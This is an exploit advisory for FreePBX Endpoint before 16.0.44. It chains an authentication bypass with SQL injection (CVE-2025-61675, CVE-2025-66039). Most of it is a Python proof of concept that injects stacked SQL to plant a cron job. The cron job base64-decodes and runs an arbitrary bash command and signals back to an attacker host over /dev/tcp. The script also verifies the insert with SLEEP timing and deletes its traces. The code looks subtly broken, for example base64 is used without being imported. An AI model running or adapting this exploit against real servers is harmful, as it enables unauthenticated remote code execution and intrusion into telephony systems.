FreePBX Endpoint Authentication Bypass / SQL Injection

=============================================================================================================================================
| # Title FreePBX Endpoint Authentication Bypass / SQL Injection

=============================================================================================================================================
| # Title : FreePBX Endpoint V before 16.0.44 Chained Authentication Bypass and SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.freepbx.org/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/214602/ & CVE-2025-61675, CVE-2025-66039

[+] Summary : This analysis examines a chained attack scenario in FreePBX that combines an authentication bypass with a SQL injection vulnerability in the custom endpoint extension component.
When specific configuration conditions are met, an attacker may interact with administrative endpoints without valid credentials and influence backend database operations.
The attack chain demonstrates how database-level manipulation can be leveraged to insert scheduled tasks that may be executed by the underlying system,
potentially resulting in remote code execution. However, reliable exploitation depends heavily on environmental factors such as database behavior, cron integration, operating system restrictions, and outbound network controls.
Multiple validation techniques?including boolean-based inference, timing side channels, and out-of-band (OOB) callbacks?can suggest successful exploitation,
but none provide absolute proof without direct system feedback. As a result, exploitation outcomes remain probabilistic rather than definitive.
From a defensive perspective, this attack chain is detectable through abnormal authentication patterns, SQL error behavior, database artifact
creation, and anomalous scheduled task activity. Proper configuration hardening, monitoring, and principle-of-least-privilege enforcement significantly reduce real-world impact even in the presence of vulnerable code paths

[+] POC : python poc.py

import requests
import random
import string
import sys
import time

class FreePBXEngineeredExploit:
def __init__(self, target, username, cmd, oob_host):
self.target = target.rstrip('/')
self.username = username
self.cmd = cmd
self.oob_host = oob_host

self.job_id = ''.join(random.choices(string.digits, k=8))

def build_safe_payload(self, command):

b64_cmd = base64.b64encode(command.encode()).decode()

payload = (
f"echo {b64_cmd} | base64 -d | bash; "
f"exec 3<>/dev/tcp/{self.oob_host}/80; "
f"echo -e 'GET /{self.job_id} HTTP/1.1\\r\\nHost: {self.oob_host}\\r\\n\\r\\n' >&3"
)

return f"UNHEX('{payload.encode().hex()}')"

def dispatch(self, sql):
auth = requests.auth.HTTPBasicAuth(self.username, "bypass")
try:
return requests.post(
f"{self.target}/admin/config.php?display=endpoint&view=customExt",
data={'id': sql}, auth=auth, verify=False, timeout=15
)
except: return None

def exploit(self):
print(f"[*] Constructing Armored Payload...")
safe_cmd_sql = self.build_safe_payload(self.cmd)

sql_payload = (
f"1'; INSERT INTO cron_jobs (modulename, jobname, command, schedule, enabled) "
f"VALUES ('sysadmin', '{self.job_id}', {safe_cmd_sql}, '* * * * *', 1); "
f"-- "
)

print("[*] Stage 1: Dispatched SQL Injection.")
res = self.dispatch(sql_payload)

check_sql = f"1' AND (SELECT 1 FROM cron_jobs WHERE jobname='{self.job_id}' AND SLEEP(2)); -- "
v_res = self.dispatch(check_sql)

if v_res and v_res.elapsed.total_seconds() >= 2:
print("[+] CONFIRMED: Record inserted successfully into DB.")
else:
print("[-] WARNING: DB verification failed. SQL might have been sanitized.")

print(f"[*] Stage 2: Monitoring for OOB/Execution...")

def cleanup(self):

print(f"[*] Stage 3: Targeted Cleanup...")
self.dispatch(f"1'; DELETE FROM cron_jobs WHERE jobname='{self.job_id}'; -- ")

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================